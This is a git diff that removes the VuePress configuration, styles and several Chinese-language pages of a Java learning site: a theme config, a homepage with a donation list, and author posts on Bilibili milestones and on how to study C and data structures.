"huanxgzl", - "quzjlsspdx", - "zheisnylzldhzd", - "chengxyspnhxagzl", - ], - }, - { - text: "面试准备", - collapsible: true, - children: [ - "nice-article/weixin/zijxjjdyfqzgl", - "nice-article/weixin/miansmtgl", - "nice-article/weixin/luoczbmsddyb", - "nice-article/weixin/youdxzhhmjzlycfx", - ], - }, - { - text: "城市选择", - prefix: "cityselect/", - collapsible: true, - children: [ - "wuhan", - "beijing", - "chengdu", - "guangzhou", - "hangzhou", - "nanjing", - "qingdao", - "shenzhen", - "suzhou", - "xian", - "zhengzhou", - "jinan", - "hefei", - ], - }, - ], - }, - { - text: "八、学习建议", - collapsible: true, - prefix: "xuexijianyi/", - children: [ - "LearnCS-ByYourself", - "read-csapp", - "electron-information-engineering", - "gaokao-zhiyuan-cs", - "test-programmer-read-books", - "xiaozhao-java-should-master", - "chengxuyuan-fuye", - "ruhzfzdgzzcxcz", - "gaobingfa-jingyan-hsmcomputer", - "hr-xinzi", - "35-weiji", - "20ren-it-quma", - "benkesheng-ali-tengxun", - "408", - ], - }, - { - text: "九、知识库搭建", - collapsible: true, - prefix: "szjy/", - children: [ - "buy-cloud-server", - "install-baota-mianban", - "buy-domain", - "record-domain", - "https-domain", - ], - }, - { - text: "十、联系作者", - collapsible: true, - prefix: "about-the-author/", - children: [ - "bzhan-10wan", - "zhihu-1000wan", - "csdn-1000wan", - "readme.md", - ], - }, - ], -}); diff --git a/docs/src/.vuepress/styles/config.scss b/docs/src/.vuepress/styles/config.scss deleted file mode 100644 index 9ee070e283..0000000000 --- a/docs/src/.vuepress/styles/config.scss +++ /dev/null @@ -1,5 +0,0 @@ -// you can change config here -$colors: #c0392b, #d35400, #f39c12, #27ae60, #16a085, #2980b9, #8e44ad, #2c3e50, - #7f8c8d !default; - $code-light-theme: "one-light"; - $code-dark-theme: "one-dark"; \ No newline at end of file diff --git a/docs/src/.vuepress/styles/index.scss b/docs/src/.vuepress/styles/index.scss deleted file mode 100644 index b1c041fc6a..0000000000 --- a/docs/src/.vuepress/styles/index.scss +++ /dev/null @@ -1,5 +0,0 @@ -// place your custom styles here -.theme-hope-content img { - // 加一个边框 - border: 1px solid #eee; -} \ No newline at end of file diff --git a/docs/src/.vuepress/styles/palette.scss b/docs/src/.vuepress/styles/palette.scss deleted file mode 100644 index 503b8a88e7..0000000000 --- a/docs/src/.vuepress/styles/palette.scss +++ /dev/null @@ -1,9 +0,0 @@ -// you can change colors here -// 颜色 -$theme-color: #096dd9; - -// 左侧菜单栏的宽度 -$sidebar-mobile-width: 16rem; - -// 字体 -$font-family: '-apple-system, "Microsoft YaHei", sans-serif'; \ No newline at end of file diff --git a/docs/src/.vuepress/theme.ts b/docs/src/.vuepress/theme.ts deleted file mode 100644 index 223ef02115..0000000000 --- a/docs/src/.vuepress/theme.ts +++ /dev/null @@ -1,291 +0,0 @@ -import { hopeTheme } from "vuepress-theme-hope"; - -import navbar from "./navbar.js"; -import sidebar from "./sidebar.js"; - -export default hopeTheme({ - hostname: "https://tobebetterjavaer.com", - // 网站图标 - - author: { - name: "沉默王二", - url: "/about-the-author/", - }, - - // 阿里妈妈图标的前缀 - iconPrefix: "iconfont icon-", - - logo: "https://cdn.paicoding.com/tobebetterjavaer/images/logo-02.png", - - // Git 仓库和编辑链接 - repo: "https://github.com/itwanger/toBeBetterJavaer", - repoLabel: "GitHub", - docsDir: "docs/src/", - // 以前的默认仓库分支名,方便提交 pr 和 issue - docsBranch: "master", - breadcrumb: false, - - // 全屏按钮 - fullscreen: true, - // 在深色模式,浅色模式和自动之间切换 (默认) - darkmode: "switch", - - // 导航栏 - navbar, - - // 侧边栏 - sidebar, - - // 页脚支持 - footer: '豫ICP备2024097096号-4' - +'' - +'' - +'豫公网安备 41030502000411号' - +'', - displayFooter: true, - - // 加密 - encrypt: { - config: { - // 这只会加密 config/page.html - "/nice-article/itmind/ideapjazjczxjhmzcmyjjhcxgxz.html": ["1110", "5210"], - "/nice-article/itmind/webstormjhmwebstormwdzsjhmxbxt.html": ["1110", "5210"], - "/nice-article/itmind/sublimetextzcmpjazjcqckyxbxt.html": ["1110", "5210"], - }, - }, - // 提示文字 - encryptLocales: { - placeholder: "微信搜‘沉默王二’回复‘密码’获取口令", - - /** - * Passwrod error hint - */ - errorHint: "哈哈,别调戏人家啦,按规则来嘛", - }, - - // 多语言配置 - metaLocales: { - editLink: "在 GitHub 上编辑此页", - }, - - // 文章信息,可以填入数组,数组的顺序是各条目显示的顺序 - pageInfo: ["Author", "Original", "Date", "Category", "Tag", "Word","ReadingTime"], - - blog: { - // 个人介绍页地址 - intro: "/about-the-author/", - sidebarDisplay: "mobile", - // 博主头像 - avatar: "/assets/icon/itwanger-282.png", - // 座右铭 - description:"没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。", - medias: { - Zhihu: "https://www.zhihu.com/people/cmower", - CSDN: "https://blog.csdn.net/qing_gee", - Github: "https://github.com/itwanger", - Gitee: "https://gitee.com/itwanger", - }, - }, - - // 如果想要实时查看任何改变,启用它。注: 这对更新性能有很大负面影响 - // hotReload: true, - - // 在这里配置主题提供的插件 - plugins: { - blog: true, - // 注意: 仅用于测试! 你必须自行生成并在生产环境中使用自己的评论服务 - comment: { - provider: "Giscus", - repo :"itwanger/tobebetterjavaer-giscus", - repoId:"R_kgDOHBJssg", - category:"Announcements", - categoryId:"DIC_kwDOHBJsss4COJOx", - }, - - components: { - components: ["Badge", "VPCard"], - }, - - // 此处开启了很多功能用于演示,你应仅保留用到的功能。 - mdEnhance: { - align: true, - attrs: true, - codetabs: true, - component: true, - demo: true, - // 启用 figure,为图像添加描述 - figure: true, - // 启用图片懒加载 - imgLazyload: true, - // 启用图片大小 - imgSize: true, - include: true, - mark: true, - plantuml: true, - spoiler: true, - stylize: [ - { - matcher: "Recommended", - replacer: ({ tag }) => { - if (tag === "em") - return { - tag: "Badge", - attrs: { type: "tip" }, - content: "Recommended", - }; - }, - }, - ], - sub: true, - sup: true, - tabs: true, - // 支持任务列表 - tasklist: true, - vPre: true, - - // 在启用之前安装 chart.js - // chart: true, - - // insert component easily - - // 在启用之前安装 echarts - // echarts: true, - - // 在启用之前安装 flowchart.ts - // flowchart: true, - - // gfm requires mathjax-full to provide tex support - // gfm: true, - - // 在启用之前安装 katex - // katex: true, - - // 在启用之前安装 mathjax-full - mathjax: true, - - // 在启用之前安装 mermaid - // mermaid: true, - - // playground: { - // presets: ["ts", "vue"], - // }, - - // 在启用之前安装 reveal.js - // revealJs: { - // plugins: ["highlight", "math", "search", "notes", "zoom"], - // }, - - // 在启用之前安装 @vue/repl - // vuePlayground: true, - - // install sandpack-vue3 before enabling it - // sandpack: true, - }, - - notice: [ - { - match: /^(?!\/zhishixingqiu\/).*$/, - title: "二哥的编程星球", - content: "这是一个简历精修 + 编程项目实战 + Java 面试指南 + LeetCode 刷题的私密圈子,已经有 11000+ 名球友加入(即将涨价至 179 元)", - actions: [ - { - text: "这就去加入", - link: "https://javabetter.cn/zhishixingqiu/", - type: "primary", - }, - { text: "简历精修", link: "https://javabetter.cn/zhishixingqiu/jianli.html" }, - ], - }, - ], - - docsearch: { - appId: "O566AMFNJH", - apiKey: "d9aebea8bd1a4f1e01201464bbab255f", - indexName: "tobebetterjavaer", - locales: { - "/": { - placeholder: "搜索文档", - translations: { - button: { - buttonText: "搜索文档", - buttonAriaLabel: "搜索文档", - }, - modal: { - searchBox: { - resetButtonTitle: "清除查询条件", - resetButtonAriaLabel: "清除查询条件", - cancelButtonText: "取消", - cancelButtonAriaLabel: "取消", - }, - startScreen: { - recentSearchesTitle: "搜索历史", - noRecentSearchesText: "没有搜索历史", - saveRecentSearchButtonTitle: "保存至搜索历史", - removeRecentSearchButtonTitle: "从搜索历史中移除", - favoriteSearchesTitle: "收藏", - removeFavoriteSearchButtonTitle: "从收藏中移除", - }, - errorScreen: { - titleText: "无法获取结果", - helpText: "你可能需要检查你的网络连接", - }, - footer: { - selectText: "选择", - navigateText: "切换", - closeText: "关闭", - searchByText: "搜索提供者", - }, - noResultsScreen: { - noResultsText: "无法找到相关结果", - suggestedQueryText: "你可以尝试查询", - }, - }, - }, - }, - }, - }, - - // 如果你需要 PWA。安装 @vuepress/plugin-pwa 并取消下方注释 - pwa: { - update: "hint", - favicon: "https://cdn.paicoding.com/tobebetterjavaer/images/favicon.ico", - cacheHTML: true, - cacheImage: true, - appendBase: true, - apple: { - icon: "/assets/icon/apple-icon-152.png", - statusBarColor: "black", - }, - msTile: { - image: "/assets/icon/ms-icon-144.png", - color: "#ffffff", - }, - manifest: { - icons: [ - { - src: "/assets/icon/chrome-mask-512.png", - sizes: "512x512", - purpose: "maskable", - type: "image/png", - }, - { - src: "/assets/icon/chrome-mask-192.png", - sizes: "192x192", - purpose: "maskable", - type: "image/png", - }, - { - src: "/assets/icon/chrome-512.png", - sizes: "512x512", - type: "image/png", - }, - { - src: "/assets/icon/chrome-192.png", - sizes: "192x192", - type: "image/png", - }, - ], - }, - }, - }, -}); diff --git a/docs/src/README.md b/docs/src/README.md deleted file mode 100644 index ba70e158df..0000000000 --- a/docs/src/README.md +++ /dev/null @@ -1,208 +0,0 @@ ---- -home: true -icon: home -title: 主页 -heroImage: https://cdn.paicoding.com/tobebetterjavaer/images/logo.png -heroText: 二哥的Java进阶之路 -tagline: 沉默王二BB:这是一份通俗易懂、风趣幽默的Java学习指南,内容涵盖Java基础、Java并发编程、Java虚拟机、Java企业级开发、Java面试等核心知识点。学Java,就认准二哥的Java进阶之路😄 -actions: - - text: 立马上路→ - link: /home.md - type: primary - - text: 二哥的编程星球 - link: /zhishixingqiu/ - type: default -footer: |- - 豫ICP备2024097096号-4 | 主题: VuePress Theme Hope ---- - -## 推荐阅读 - -- [学习路线👉](/xuexiluxian/) : 一份涵盖 Java、MySQL、Redis、C 语言、C++、Python、Go、操作系统、前端、数据结构与算法、蓝桥杯、大数据、Android、.NET、Linux 的全方位编程学习路线!清晰且有效! -- [面渣逆袭📗](sidebar/sanfene/nixi.md) :面试前必刷,硬核理解版八股文,包括 Java 基础(JavaSE)、Java 集合框架、Java 并发编程(Java 多线程)、Java 虚拟机(JVM)、Spring、Redis、MyBatis、MySQL、操作系统、计算机网络、RocketMQ、分布式、微服务、设计模式、Linux 等等,助你拿到心仪 offer! -- [Java程序员常读书单📚](/pdf/):超1000本PDF,助力Java 程序员构建最强知识体系,涵盖Java、设计模式、数据库、数据结构与算法、大数据、架构、其他编程语言等等,再也不用辛苦去找下载地址了,这里全都有。 -- [技术派实战项目](https://github.com/itwanger/paicoding) :⭐️一款好用又强大的开源社区,附详细教程,包括Java、Spring、MySQL、Redis、微服务&分布式、消息队列、操作系统、计算机网络、数据结构与算法等计算机专业核心知识点。学编程,就上技术派😁。 - -## 公众号 - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - -## star趋势图 - -[![Star History Chart](https://api.star-history.com/svg?repos=itwanger/toBeBetterJavaer&type=Date)](https://star-history.com/#itwanger/toBeBetterJavaer&Date) - -## 捐赠鼓励 - -开源不易,如果《二哥的Java进阶之路》对你有些帮助,可以请作者喝杯咖啡,算是对开源做出的一点点鼓励吧! - -
- -
- -:gift_heart: 感谢大家对我资金的赞赏,每隔一个月会统计一次。 - -时间|小伙伴|赞赏金额 ----|---|--- -2024-10-06|*天|10元 -2024-10-04|2*2|20元 -2024-09-25|c*l|1元 -2024-09-14|.*6|1.9元 -2024-08-16|*了|20元 -2024-08-14|*李|0.66元 -2024-08-12|*Z|6.66元 -2024-08-09|*峰|2元 -2024-07-13|*运|20元 -2024-07-01|*风|1元 -2024-06-30|*迷|1元 -2024-06-23|*瓦|1元 -2024-06-17|*芒|5元 -2024-06-13|*啊|9.99元 -2024-06-03|S*d|1元 -2024-05-23|*气|3元 -2024-05-22|w*r|6.6元 -2024-05-01|*笑|0.01元 -2024-04-24|1*0|3元 -2024-04-10|迷*x|21元 -2024-04-08|*青|5元 -2024-04-08|敲不出来的一个符号|1元 -2024-04-07|*i|0.01元 -2024-04-06|*牛|10元 -2024-04-03|Y*T|10元 -2024-04-02|B*E|2元 -2024-03-20|*卡|1元 -2024-03-18|*嘎|6.66元 -2024-03-17|*兴|0.01元 -2024-03-12|*鹏|0.02元 -2024-03-12|y*u|0.01元 -2024-02-29|r*y|6元 -2024-02-23|*~|9.99元 -2024-02-21|从头再来|5元 -2024-02-15|*斗|10元 -2024-02-02|*切|2元 -2024-02-01|*康|9元 -2024-01-31|*康|1元 -2024-01-22|*妙|10元 -2024-01-17|*清|9.9元 -2024-01-12|*奥|5元 -2024-01-04|*👈🏻|1元 -2024-01-03|*|3元 -2024-01-03|Y*o|2元 -2023-12-22|*逗|50元 -2023-11-25|*君|2元 -2023-10-23|*🐻|6.66元 -2023-10-17|*哈|5元 -2023-10-12|0*7|7.77元 -2023-10-03|S*d|0.5元 -2023-09-27|*1|1元 -2023-09-25|L*e|10.24元 -2023-09-19|*人|2元 -2023-09-15|L*D|2元 -2023-09-15|*暖|5元 -2023-09-11|A*B|1元 -2023-08-21|*氏|2元 -2023-08-18|*寻|1元 -2023-08-03|*案|10.24元 -2023-08-02|*,|1元 -2023-07-24|m*l|3元 -2023-07-20|lzy|6元 -2023-07-14|s*!|2元 -2023-07-02|*晴|1元 -2023-06-26|*雨|6.66元 -2023-06-21|*航|6元 -2023-06-21|*狼|3元 -2023-06-19|*定|2元 -2023-06-18|*道|5元 -2023-06-16|* 文|1元 -2023-06-14|G*e|66.6元 -2023-06-07|*.|0.5元 -2023-05-23|*W|5元 -2023-05-19|*飞|6元 -2023-05-10|c*r|1元 -2023-04-26|r*J|10.24元 -2023-04-22|*明|1元 -2023-04-09|* 刀|10元 -2023-04-03|*意|0.02元 -2023--03-17|*昌|8 元 -2023-03-16|~*~|66.6 元 -2023-03-15|*枫|6.6 元 -2023-03-10|十年|1 元 -2023-03-04|*风|5 元 -2023-02-26|一个表情(emoji)|1 元 -2023-02-23|曹*n|5元 -2023-02-11|昵称加载中.|6.6元 -2023-02-09|*明|10元 -2023-02-09|*风|5元 -2023-02-09|*z|3元 -2023-02-09|*夫|10元 -2023-02-08|*宝|5 元 -2023-01-18|*念|0.01元 -2023-01-18|*来|1元 -2023-01-10|*A*t|1元 -2023-01-07|*忠|5元 -2023-12-02|g*g|0.1元 -2022-11-13|*王|5元 -2022-11-10|*车|1元 -2022-11-10|F*k|1元 -2022-11-05|*H|3元 -2022-11-04|*金|0.02元 -2022-11-04|*尘|15元 -2022-11-02|*峰|1元 -2022-10-29|~*~|6元 -2022-10-28|k*k|1元 -2022-10-20|*电|2元 -2022-10-15|*深|5元 -2022-09-30|*君|1元 -2022-09-28|*懂|1元 -2022-09-27|*府|1元 -2022-09-23|*问号(emogji)|5元 -2022-09-23|H*n|1元 -2022-09-23|*a|0.01元 -2022-09-08|*👀|20元 -2022-09-07|丹*1|20元 -2022-08-27|*夹|40元 -2022-07-06|体*P|2元 -2022-07-05|*谦|5元 -2022-06-18|*杰|2元 -2022-06-15|L*c|15元 -2022-06-10|*❤|1元 -2022-06-09|'*'|1元 -2022-06-07|*勇|1元 -2022-06-03|*鸭|1元 -2022-05-12|*烟|10元 -2022-04-25|*思|5元 -2022-04-20|w*n|1元 -2022-04-12|E*e|10 元 -2022-03-19|*风|9.9元 -2022-03-04|袁晓波|99元 -2022-02-17|*色|1元 -2022-02-17|M*y|1元 -2022-01-28|G*R|6.6元 -2022-01-20|*光|50元 -2022-01-14|*浩|1元 -2022-01-01|刚*好|3.6元 -2022-01-01|马*谊|6.6元 -2021-12-20|t*1|5 元 -2021-10-26|*猫|28 元 -2021-10-11|*人|28 元 -2021-09-28|*人|1 元 -2021-09-05|N*a|3 元 -2021-09-02|S*n|6.6 元 -2021-08-21|z*s|3 元 -2021-08-20|A*g|10 元 -2021-08-09|*滚|0.1 元 -2021-08-02|*秒|1 元 -2021-06-13|*7| 28 元 -2021-05-04|*学|169 元 -2021-04-29|p*e|2 元 -2021-04-28|追风筝的神|1 元 - -## 参与贡献 - -1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。 -2. 对于文中我没有涉及到知识点,欢迎提交 PR。 \ No newline at end of file diff --git a/docs/src/about-the-author/bzhan-10wan.md b/docs/src/about-the-author/bzhan-10wan.md deleted file mode 100644 index 503848d6d3..0000000000 --- a/docs/src/about-the-author/bzhan-10wan.md +++ /dev/null @@ -1,248 +0,0 @@ ---- -category: - - 联系作者 -tag: - - 心路历程 ---- - -# 我的第一个,10 万(B站视频播放) - -恭喜这个 B。。。。。。站上的 UP,上一期视频播放量突破了 10 万!这也是二哥人生当中的第一次,凭借单条视频突破 10 万播放,必须得纪念下。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-4f27a848-7dba-4cd3-a705-a6ef02162338.png) - - - -从众多的宫斗剧中我得出了一条宝贵的人生经验:“母凭子贵”。这条经验同样适用于二哥本人,可能会因为这一期视频,吹这辈子最多的牛逼:这不,荣获哔哩哔哩第 3 周【校园优秀奖&校园新星奖】。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-340f1fe4-49f1-48c6-a972-c5da7de8ddd0.png) - -我已经按捺不住激动的心情,在两万人的朋友圈大肆炫耀了。十万播放,对于百大 UP 来说,可能就是分分钟的事,可对于我这个(未来的) B站百大来说,苦苦等了 149 天!!!!!!! - -这真是一个漫长的日子,鬼知道这些天我经历了什么。 - -我一度怀疑自己到底适不适合拍视频,表情的僵硬,普通话的塑料,甚至连自己一项引以为荣的台本,都觉得拉胯。 - -可就因为这个视频,让我重获新生,亢奋的心情一直在持续。我知道,一条视频的播放突破 10 万,并不意味着下一个视频也会有 10 万的播放,但好歹能让我感到幸福会,至少可以“厚颜无耻”地再吹一次牛皮吧! - -昨天的文章里,承诺新的一年 2022 年把肝重新交给大家,我就会说到做到:这年头,职场就流行这个“沙雕”文化,**你有没有能力不重要,重要的是领导交代你的有没有去执行**。 - -二哥打算豁出去了! - -新一期视频也上传到 B 站了,希望能借英雄哥的吉言,再爆一次。链接我放这里了: - ->https://www.bilibili.com/video/BV1za411q79U/ - -三不三连没关系,有关系的是不三连可能会对不起二哥的肝,所以还是三连吧,哈哈哈哈,瞧瞧我们这该死的生物钟,起这么早。。。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-5a1d423e-8827-4a66-9197-4641ef0ecbaf.png) - -接下来,上干货,我把这期 10万+ 播放的视频台本重新整理了一下,本来不想发的,很多小伙伴私信说二哥偏爱 B 站,同步都懒得同步了吗? - -这不,赶紧发到公众号上来,希望学生党们现在立刻马上收藏起来,这个寒假你会过得非常充实;至于工作党嘛,像二哥这样的,既要工作,又要读书写作照顾家庭的,忙都忙死了,就算了吧! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-99073995-10b0-42ee-81e5-cc4abc26aa71.png) - -啊,不,还是要稍微卷一卷吧,免得被那群还有半年就毕业的家伙们拍死在沙滩上。。。。 - ------- - -二哥的读者当中有不少大学生,所以当知乎上刷到这个题目时: - ->“学校课程规划的比较奇怪,大一上学期学c++,下学期学python,在寒假我是应该复习或预习课内内容(python,c++),还是自己对外拓展呢(c,数据结构)?” - -立马就冲上去答了一波。 - -**就冲这份爱学习的决心,三年后绝对互联网公司的 offer 拿到手软**! - -讲真,小伙伴学校安排的课程和我当年非常相似,也是大一上来就搞 Java,隔壁班上来就搞 C++,完全没有安排 C语言来过渡下。 - -所以我的建议是,**趁寒假打打王者上上分吧**! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-63412a28-7315-4ac4-a04b-a049b338c0d8.gif) - -啊,不!**趁寒假刷一波清华在 GitHub 上 20k+ star 的开源课程吧**! - -## 一、清华大学在 GitHub 上的开源课程 - - - ->地址:https://github.com/PKUanonym/REKCARC-TSC-UHT - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-c309fdb8-084c-44b1-bd8e-86a4b39cbb7b.png) - -我来带小伙伴们过一下清华的课程安排哈,主要是针对计算机专业的。 - -大一上的计算机基础课程有:计算机科学导论、程序设计基础 - -大一下有:面向对象程序设计基础 - -大二上有:数据结构 - -大二下有:人工智能导论、计算机图形学基础、高性能计算导论 - -大三上有:计算机组成原理、计算机网络原理、编译原理、软件工程、数据库系统概论、人工神经网络、计算机网络安全技术、人机交互理论与技术 - -大三下有:操作系统、计算机系统结构、机器学习概论、数据挖掘、搜索引擎技术基础、存储技术基础、数据库专题训练、计算机网络专题训练。 - -大四主要是实践、实习、毕设等,剩下的计算机课程主要有网络安全工程与实践、嵌入式系统。 - -可以看得出,大一大二基本上是在摸鱼状态,大三突然开始发力,各种计算机基础课程,非常疯狂! - -不过: - -有志者事竟成,破釜沉舟,百二秦关终属楚;
-苦心人天不负,卧薪尝胆,三千越甲可吞吴! - -## 二、学习 C语言 - -**推荐一本书,两门视频课**。 - -书是电子书,书名叫《阮一峰的 C语言入门课》,我第一时间就拜读了一遍,受益匪浅!可以说目前我见到的最好的 C语言入门教程了,没有之一!国内的绝大多数高校,大一都会安排 C 语言这门课,阮一峰了老师的这份《C语言入门教程》,绝对是福音。 - -视频课是浙江大学翁恺教授的,一门《C语言程序设计入门》,一门《C语言程序设计进阶》。 - -学完这些,大家至少能学会下面这幅思维导图中列出来的内容。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-03e4f5b4-c756-401c-aada-695b9cfaf00d.png) - -更多 C 语言的学习内容,可以戳下面这个链接,之前在公众号上发过了,这里就不再复制粘贴了: - -[大一新生应该如何学习C语言,书上代码看不懂理解不了怎么办?](https://mp.weixin.qq.com/s/cZq24FJto2gJYWVhbhNBnQ) - -## 三、学习数据结构 - -什么是数据结构? - ->数据结构是一种具有一定逻辑关系,在计算机中应用某种存储结构,并且封装了相应操作的数据元素集合。它包含三方面的内容,逻辑关系、存储关系及操作。不同种类的数据结构适合于不同种类的应用,而部分甚至专门用于特定的作业任务。例如,计算机网络依赖于路由表运作,B 树高度适用于数据库的封装。 - -菜鸟教程上对数据结构的定义我觉得还是蛮正式(官方)的,说人话就是,**数据结构就是把一堆数据,按照某种格式揉成一坨**。 - -大家喜欢吃宫保鸡丁吗? - -反正我挺喜欢这道菜的。我就以宫保鸡丁为例,来讲一讲数据结构吧。维基百科上是这样定义的。 - - ->宫保鸡丁(英语:Kung Pao chicken或Kung-Pao Chicken),又称宫爆鸡丁,呈糊辣荔枝味,源于黔菜、流传至鲁而后成于川菜的一道川味名菜。贵州、山东和四川三地对这道菜的做法不完全一样,称呼也有差异。贵州称为糊辣子鸡丁,山东则名为酱爆鸡丁,而四川是以宫保鸡丁为名的。 - - -来,抽象下宫保鸡丁。 - -```c -struct KungPaoChicken { - 鸡肉 = [] - 花生 = [] - 葱段 = [] - 花椒 = [] - 辣椒 = [] -} -``` - -这个结构体(struct 是 C 语言中的一个概念)就是一个自定义的数据结构,将很多不同的配料融合在了一起。对于计算机的数据结构来说,只不过是把这些配料换成了基本数据类型。 - -拿 Java 来举例,基本的数据类型有 int、char、double 这些,复杂点的有 String(引用数据类型),底层是 char 型的数组,而那些自定义的类型不过是对基本数据类型和引用类型的封装。 - -抽象完宫保鸡丁再来抽象一下二哥吧。 - -```java -class 二哥 { - int age = 18; - double 体重 = 65kg; - - void eat(宫保鸡丁) { - 体重 += 1kg; - } -} -``` - -伪代码不是很严谨哈,大家理解这个意思就行了。 - -说到底,数据结构不过是一种抽象后的封装。像 Java,它之所以流行的一个很重要的原因,就是它提供了多种多样的、方便开发者调用的数据结构,比如说对数组的封装 ArrayList、对链表的封装 LinkedList、对哈希表的封装 HashMap、ConcurrentHashMap 等等。C 语言就没有这些,想用的话,就得自己封装。但 Java 和 C 语言的基本数据类型是一致的,int、float 这些都是相通的。 - -对于初学者来说,平常敲代码都是直接去调用数据结构的,是很少去想这些数据结构是怎么实现的。 - -当一个初学者向高级程序员迈进的时候,就必须得静下心来,去搞清楚 ArrayList 和 LinkedList 的内部实现,搞清楚之后就会明白,之所以它们在增删改查的时候性能上有差异,就是因为它们的内部使用了不同的数据结构所导致的。 - -有一说一,我在 2008 年刚学 Java 的那会,真的是不理解,为什么明明有了 ArrayList,Java 还要设计 LinkedList,不都是集合嘛! - -害! - -**数据结构为什么这么重要?** - -我直接放大招吧,甩一段清华大学计算机系教授邓俊辉老师话吧。 - -> 数据结构是计算机科学的关键内容,也是构建高效算法的必要基础。其中涉及的知识,在相关专业的课程系统中始终处于核心位置。以 ACM/IEEE -> Computing -> Curricula(计算机教学大纲)为例,其中对于几个相关专业(计算机科学、计算机工程、信息系统、信息技术、软件工程)的共同要求中,数据结构与算法作为程序设计概念与技能的核心,紧随在数学之后,排在第二位。 - -数据结构说复杂也不复杂,说简单也不简单,这不重要,重要的是必须得学! - -有小伙伴可能会问,“我数学学的不好,学数据结构能学会吗?” - -说句实在话,数据结构和数学之间没有必然的关系。**我上小学的时候,参加过洛阳市的奥林匹克数学竞赛,还得了三等奖**(偷偷地加个粗);初中的时候,数学成绩也一直保持得不错,但上了高中之后,由于贪玩,数学成绩一落千丈,成了瘸腿课。大学的时候对离散数学、微积分这些更是头大。 - -但这并不妨碍我学习数据结构,真的。数据结构中,树算是最难的一块了,像数组、链表、栈、哈希表这些相对来说,计算机专业的,只要稍微下点功夫,都是能掌握的。 - -说了这么多,**数据结构到底该怎么学呢?** - -如果你有 C/C++ 的底子,我给推荐两本书。 - -第一本,《趣学数据结构》 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-bd02be2f-ae71-413f-b0c0-0050fee0e2b5.png) - -说到这,多说一嘴。2018 年的时候,人民邮电出版社的张老师邀请我出一本 Java 方面的书,我当时想命名为《趣学 Java》。张老师说,刚好之前和陈小玉老师合作出了一本《趣学算法》的书,要不发一本你看看吧。 - -你别说,这本书还挺适合拿来作为算法的入门书呢。后来,陈小玉老师又出了一本新书,叫《趣学数据结构》,我看了,虽然离“趣”字有点距离,但很适合作为一门数据结构方面的入门书。 - -第二本,《数据结构(C++语言版)》 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-de28bb8a-ddb6-4b73-b132-ebf5e507fdbe.png) - -对,清华大学邓俊辉教授编著的,豆瓣评分也蛮高的。这本书还配套了视频课程,是免费的,可以在学堂在线上看,我之前也有推荐过。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-15de0615-3d9c-4bdc-bedb-4165ac6f4802.png) - - -课程质量木得说,算是国家级精品课了。大家有时间的话,一定要刷一遍。 - ->视频地址:https://www.xuetangx.com/course/THU08091000384/7755489 - -对了,还有浙江大学陈越姥姥的视频课: - ->视频地址:https://www.bilibili.com/video/BV1JW411i731 - -如果你有 Java 的底子,我也给推荐两本书。 - -第一本,《数据结构与算法分析(Java 语言描述)》 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-1672e79d-a576-4a24-bc60-ced47b692a0f.png) - -虽然翻译得不怎么样,但内容很全面,适合拿来作为一本数据结构的入门书。 - -第二本,《算法(第 4 版)》 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/bzhan-10wan-9e260fc8-69fa-4dfa-82c6-9d6b1d7027e5.png) - -虽然名为算法,但大家都知道,算法是基于数据结构的,数组、队列、栈、堆、二叉树、哈希表等等,这些数据结构都讲到了。 - -如果时间比较紧的话,C/C++ 程序员只看《数据结构(C++语言版)》就行了,Java 程序员只看《算法(第 4 版)》就行了。如果一遍没看懂的话,再看一遍就好了。 - -有网友“三色院堇子的老公”说得好。 - -> 数据结构就是你已经写了几百万行,然后数据结构减到 90 万行,性能还翻倍,嗯,终于学会了! - -## 四、走心总结 - -2022 年 1 月份,很有必要开个好头。 - -那么趁寒假刷一波清华在 GitHub 上的开源课程,还有 C语言和数据结构,寒假过后,绝壁是卷王中的卷王。 - -悄悄地告诉大家一声,很多说放假了一定要打打游戏,一定要放松下,这些人都在悄悄地卷。 - -所以说,如果你是正在放松的那个,可要小心了! - -不要一个寒假就被甩开了差距。 - -工作党其实也一样,适当放松,时刻警惕,该学的时候还是要能支棱起来。 diff --git a/docs/src/about-the-author/csdn-1000wan.md b/docs/src/about-the-author/csdn-1000wan.md deleted file mode 100644 index fce9224f7b..0000000000 --- a/docs/src/about-the-author/csdn-1000wan.md +++ /dev/null @@ -1,219 +0,0 @@ ---- -category: - - 联系作者 -tag: - - 心路历程 ---- - - -# 我的第二个,一千万!CSDN阅读 - -大家好,我是二哥呀! - -离[上一个一千万](https://mp.weixin.qq.com/s/8AylY_3EA5wWaKKU-qvDYw),还是上一次。 - -我努力的回想着,回想自己在 2021 年做出了哪些耀眼的成绩,正襟危坐,回想良久,也只想到这最后一件:**CSDN 的博文访问量也突破了一千万**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-2627c2a4-46c1-49a9-b86f-607c65ba6398.png) - -但这算不算得上是成绩,很难说,因为喜欢这个平台的人有很多,不喜欢这个平台的也有很多。也许,GitHub 上有 110k+ star 的 JavaGuide 